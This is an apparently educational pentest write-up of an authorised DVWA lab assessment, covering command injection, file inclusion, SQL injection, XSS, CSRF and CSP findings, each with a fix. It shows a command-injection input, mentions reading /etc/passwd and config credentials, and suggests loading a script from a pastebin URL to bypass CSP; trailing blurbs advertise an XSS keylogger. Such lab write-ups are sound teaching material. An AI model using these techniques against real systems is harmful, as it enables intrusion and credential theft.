This is a full walkthrough of a BlackOps web assessment against pentest-ground.com — a hosted DVWA instance running on port 4280. DVWA is intentionally vulnerable, so the point here isn’t surprise — it’s methodology. Every step, every command, every decision is documented so you can follow the same process on any target.
What to expect reading this:
A PHP server with the worst possible configuration (allow_url_include=On, zero disable_functions, no open_basedir) — RCE was on the table from the very first request
Three completely independent paths to OS code execution
SQL injection in both error-based and blind flavours
A CAPTCHA that doesn’t work because the keys were never configured
A full animated kill chain tying all 20 findings into 4 complete compromise paths
⚡ Quick Summary — What Was Exploited
⬤ CRITICAL Command Injection — /exec/ → OS shell as www-data · CWE-77 · OWASP A03 ⬤ CRITICAL File Inclusion LFI+RFI — /fi/?page=data:// → RCE without upload · CWE-98 ⬤ CRITICAL PHP Filter Wrapper — php://filter → DB credentials extracted · CWE-22 ⬤ CRITICAL File Upload — shell.php + spoofed MIME → webshell RCE · CWE-434 ⬤ CRITICAL SQL Injection — Error-based + Blind → full DB dump · CWE-89 · OWASP A03 ⬤ HIGH Default Credentials — admin:password → instant auth bypass ⬤ HIGH CSRF — no token on password change → silent account takeover ⬤ HIGH XSS (Reflected + DOM) + no HttpOnly → PHPSESSID theft
Tools used:nmap · curl · sqlmap · Burp Suite
Legal notice: This assessment was conducted on an intentionally vulnerable lab platform with explicit authorisation. Do not replicate against systems you don't own.
Information Gathering
Before touching the target actively I wanted to understand what I was working with. The very first request told me almost everything.
INFORMATION GATHERING — TARGET PROFILE
🎯 pentest-ground.com:4280
→
nginx/1.29.8
+
PHP/8.5.5
Session Cookies
→
✖ No HttpOnly · No Secure · No SameSite
Security Headers
→
✖ All absent · No CSP · No HSTS · No XFO
phpinfo.php
→
⚠ allow_url_include=On · disable_functions=(none)
$ curl -sk -I https://pentest-ground.com:4280/
HTTP/1.1 200 OK
Server: nginx/1.29.8
X-Powered-By: PHP/8.5.5
Set-Cookie: PHPSESSID=...; path=/
Set-Cookie: security=low; path=/
# No HttpOnly, No Secure, No SameSite on either cookie
# No X-Frame-Options, No CSP, No HSTS anywhere in response
Right away the Server and X-Powered-By headers handed me exact version numbers. But what caught my eye immediately was the session cookie — no HttpOnly, no Secure, no SameSite. Any XSS finding on this server is automatically a session hijack.
PHP Version 8.5.5
Document Root: /var/www/html
allow_url_include: On ← enables RFI + data:// RCE
allow_url_fopen: On
disable_functions: (none) ← every shell function available
open_basedir: (none) ← no filesystem jail
expose_php: On
Linux 5fac928027e6 5.10.0-39-amd64
That output made three things immediately certain: RFI is possible, every PHP shell function works, and there is no filesystem jail. From this point I knew OS-level RCE was available. The question wasn’t if — it was how many ways.
F-007HIGH · 7.5
phpinfo.php Publicly Accessible
https://pentest-ground.com:4280/phpinfo.php · No authentication required
Fix: Delete phpinfo.php from all environments. Set expose_php=Off in php.ini.
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.29.8
443/tcp open ssl/http nginx 1.29.8
4280/tcp open ssl/http nginx 1.29.8
3306/tcp closed mysql
22/tcp closed ssh
Minimal exposure — three ports, all nginx. No database or SSH externally. The web application is the only attack surface.
Enumeration
With the server fingerprinted I moved into active enumeration — logging in, mapping endpoints, building a full picture before touching anything offensively.
HIGHXSS Reflected + DOM — + No HttpOnly → session hijack7.4
HIGHCSRF — No Token on Password Change7.1
Items 1–5 all pointed at the same PHP configuration confirmed in recon. Three independent paths to RCE before I even touched the application logic. I started there.
Exploitation
F-001 — Command Injection (OS RCE)
CRITICAL · 9.8
Attacker
― ip=127.0.0.1|id ―►
POST /exec/
― uid=33(www-data) ―►
OS RCE ✓
The /vulnerabilities/exec/ endpoint is a ping tool. My first instinct: try a pipe character. If the input hits the shell unescaped, a pipe lets me chain my own command.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux 5fac928027e6 5.10.0-39-amd64 #1 SMP Debian
That’s the moment. www-data staring back at me. No filtering, no escaping, nothing. I pushed further to read /etc/passwd and confirm full filesystem access. Three independent RCE paths confirmed by end of testing.
Fix: Use escapeshellarg() on all input. Avoid shell wrappers. Restrict with disable_functions.
F-002 — File Inclusion (LFI + RFI via data://)
CRITICAL · 9.8
Attacker
― page=data:// ―►
GET /fi/
― include() executes ―►
RCE ✓
The page GET parameter goes straight to PHP's include(). LFI confirmed with /etc/passwd. Then with allow_url_include=On I went further — the data:// wrapper executes PHP code from the URL. No file upload needed.
Still the same LFI endpoint — but php://filter reads PHP source without executing it. I targeted the database config file and got credentials in plaintext.
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax
SELECT first_name, last_name FROM users WHERE user_id = '1''
in /var/www/html/vulnerabilities/sqli/source/low.php:11
The error returns the raw SQL query, source file path, and line number. The blind variant on /sqli_blind/ confirmed via boolean-based conditional response size difference — full extraction via sqlmap.
Fix: PDO prepared statements with parameterised queries. Disable display_errors in production.
F-008 + F-009 — Reflected XSS + DOM-Based XSS
HIGH · 7.4
Attacker
― XSS payload ―►
Victim Browser
― JS reads cookie ―►
PHPSESSID Stolen ✓
Reflected XSS: name parameter echoed without encoding. DOM XSS: lang=location.search written to DOM via document.write() — never touches the server, bypasses server-side encoding entirely. Combined with missing HttpOnly (F-013), both are instant session hijacks.
Fix:htmlspecialchars() all server output. Use textContent not document.write(). Add HttpOnly to session cookies.
Sequential integers. Observe any valid token, enumerate every other active session by incrementing.
Fix:bin2hex(random_bytes(32)) in PHP. Never use sequential or time-based token values.
F-011 + F-018 — Brute Force + CAPTCHA Bypass
MEDIUM · 5.3HIGH · 7.5
Five rapid attempts — no lockout, no delay, no CAPTCHA. The CAPTCHA module has a logic flaw: step 2 never validates step 1 was completed. And from F-020, reCAPTCHA keys were empty anyway.
pastebin.com is user-writable. Post a malicious script there, reference it via <script src="https://pastebin.com/raw/PAYLOAD"> and the CSP allows it.
Fix: Remove user-writable domains from script-src. Use nonce-based or hash-based CSP.
The thing that stands out most is how one misconfigured PHP directive — allow_url_include=On — unlocked an entire category of critical attacks. Without it, the LFI stays limited to file reads. With it, that same endpoint becomes code execution via data://. That's the difference between a HIGH and a CRITICAL, from a single setting.
Three independent paths to OS code execution is the other striking part. Any one of them would be sufficient. All three existing simultaneously means there is no single fix. Defence in depth failed at every layer.
The findings also amplified each other: XSS became session hijacking because cookies lacked HttpOnly, CAPTCHA protected nothing because the keys were unconfigured and the step flow was bypassable, CSP protected nothing because the allowlist included user-writable domains, and LFI became credential theft because the database config lived in the web root.
None of these are obscure. Every one is in the OWASP Top 10 and has a well-documented fix. The pattern is the same as in production — individual settings that seem minor compounding into critical compromise paths.
Assessment conducted using BlackOps pentesting framework. All testing performed on an authorised lab environment. Findings documented for educational purposes.
Step-by-step web-app pentest of GuardianLeaks — SQLi to a full credential dump, SSRF into cloud metadata, an easy-to-miss stored XSS, and an exposed Werkzeug...
A production-grade XSS keylogger that handles network errors gracefully and logs each keystroke with confirmation — designed for stored XSS contexts where pe...